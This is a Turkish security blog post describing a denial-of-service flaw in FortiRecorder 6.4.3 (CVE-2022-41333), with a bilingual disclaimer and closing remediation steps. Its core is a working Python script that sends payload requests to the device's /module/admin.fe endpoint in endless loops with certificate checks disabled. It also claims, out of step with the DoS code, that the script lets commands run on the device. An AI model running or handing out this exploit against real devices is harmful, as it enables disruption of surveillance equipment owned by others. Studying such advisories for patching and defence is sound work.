|

FortiRecorder 6.4.3 - Denial of Service



alicangonullu tarafından 2023-04-14 10:34:16 tarihinde yazıldı. Tahmini okunma süresi 1 dakika, 24 saniye. 73 kere görüntülendi.




Disclaimer


The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.

Yasal Uyarı
Bu blog yazısında sağlanan bilgiler yalnızca eğitim ve bilgilendirme amaçlıdır. Bilgisayar korsanlığı, siber saldırılar veya bilgisayar sistemlerine, ağlara veya verilere herhangi bir şekilde yetkisiz erişim de dahil olmak üzere herhangi bir yasa dışı veya etik olmayan faaliyeti teşvik etme veya reklamlama amacı taşımaz.
Yasal bilgiler için yasal sayfasını inceleyebilirsiniz .

Zafiyet Adı: FortiRecorder 6.4.3 - Denial of Service

Zafiyet KabiliyetleriCihazı ve/veya yazılımı bir süre ve/veya kalıcı devre dışı bırakma

Zafiyet Linki: FortiRecorder 6.4.3 - Denial of Service - Hardware dos Exploit (exploit-db.com)

Zafiyet Ayrıntıları


  1. FortiRecorder cihazının IP adresi saptanır.
  2. Payload kodu hazırlanarak aşağıdaki Python yazılımıyla cihaza gönderilir.
import requests
import warnings
import sys
from urllib.parse import unquote
warnings.filterwarnings('ignore', message='Unverified HTTPS request')

def POST(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: POST")
    print("[+] Payload     : " +payload)
    post_url = target+"/module/admin.fe"
    post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
    url_decoder = unquote(payload)
    full_payload = "fewReq="+url_decoder
    while True:
        r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
        if "Failed: Access denied" in r.text:
            print("[+] Payload Sent.")
        else:
            print("[!] Something went wrong!")
            print(r.text)

def GET(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: GET")
    print("[+] Payload     : " +payload)
    while True:
      url = target+"/module/admin.fe?fewReq="+payload
      headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
      r = requests.get(url, headers=headers, verify=False)
      if "Failed: Access denied" in r.text:
          print("[+] Payload Sent.")
      else:
          print("[!] Something went wrong!")
          print(r.text)

Bu kodla beraber FortiRecorder cihazının içerisinde bir komut çalıştırılabilecektir

Zafiyetin Çözümü


  1. FortiRecorder cihazları 6.4.3 üstü sürüme güncellenmelidir.
  2. FortiRecorder üzerinde "/module/admin.fe" konumuna erişim kısıtlanmalıdır.
  3. FortiRecorder mümkünse dış ağa kapatılmalıdır.